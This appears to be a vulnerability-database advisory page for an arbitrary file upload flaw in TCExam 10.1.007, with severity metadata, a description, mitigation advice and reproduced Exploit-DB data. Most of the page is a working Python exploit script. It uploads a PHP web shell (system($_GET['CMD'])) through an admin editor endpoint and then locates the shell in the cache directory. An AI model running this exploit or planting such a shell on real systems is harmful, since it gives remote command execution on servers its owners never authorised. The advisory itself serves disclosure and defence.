Arbitrary File Upload in TCExam

vendor:

TCExam

by:

Unknown

7.5

CVSS

HIGH

Arbitrary File Upload

434

CWE

Product Name: TCExam

Affected Version From: TCExam 10.1.007

Affected Version To: Unknown

Patch Exists: NO

Related CWE: Unknown

CPE: a:tcexam:tcexam

Metasploit:

Other Scripts:

Platforms Tested:

Unknown

Arbitrary File Upload in TCExam

The TCExam application fails to adequately sanitize user-supplied input, allowing attackers to upload arbitrary files. By exploiting this vulnerability, an attacker can upload arbitrary code and execute it in the context of the webserver process. This can lead to unauthorized access, privilege escalation, and other attacks.

Mitigation:

To mitigate this vulnerability, TCExam should properly sanitize user-supplied input before processing it. Additionally, file uploads should be restricted to specific file types and checked for malicious content. Regular security updates should also be applied to ensure any patches for this vulnerability are implemented.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/40511/info

TCExam is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

TCExam 10.1.007 is vulnerable; other versions may also be affected. 

import sys, socket
host = 'localhost'
tc_exam = 'http://' + host + '/TCExam'
port = 80

def upload_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)

    content = '------x\r\n'\
              'Content-Disposition: form-data; name="sendfile0"\r\n'\
              '\r\n'\
              'shell.php\r\n'\
              '------x\r\n'\
              'Content-Disposition: form-data; name="userfile0"; filename="shell.php"\r\n'\
              'Content-Type: application/octet-stream\r\n'\
              '\r\n'\
              '<?php echo "<pre>" + system($_GET["CMD"]) + "</pre>"; ?>\r\n'\
              '------x--\r\n'\
              '\r\n'

    header = 'POST ' + tc_exam + '/admin/code/tce_functions_tcecode_editor.php HTTP/1.1\r\n'\
             'Host: ' + host + '\r\n'\
             'Proxy-Connection: keep-alive\r\n'\
             'User-Agent: x\r\n'\
             'Content-Length: ' + str(len(content)) + '\r\n'\
             'Cache-Control: max-age=0\r\n'\
             'Origin: null\r\n'\
             'Content-Type: multipart/form-data; boundary=----x\r\n'\
             'Accept: text/html\r\n'\
             'Accept-Encoding: gzip,deflate,sdch\r\n'\
             'Accept-Language: en-US,en;q=0.8\r\n'\
             'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'\
             'Cookie: LastVisit=1275442604\r\n'\
             '\r\n'

    s.send(header + content)

    http_ok = 'HTTP/1.1 200 OK'
    
    if http_ok not in s.recv(8192):
        print 'error uploading shell'
        return
    else: print 'shell uploaded'

    s.send('GET ' + tc_exam + '/cache/shell.php HTTP/1.1\r\n'\
           'Host: ' + host + '\r\n\r\n')

    if http_ok not in s.recv(8192): print 'shell not found'        
    else: print 'shell located at ' + tc_exam + '/cache/shell.php'

upload_shell()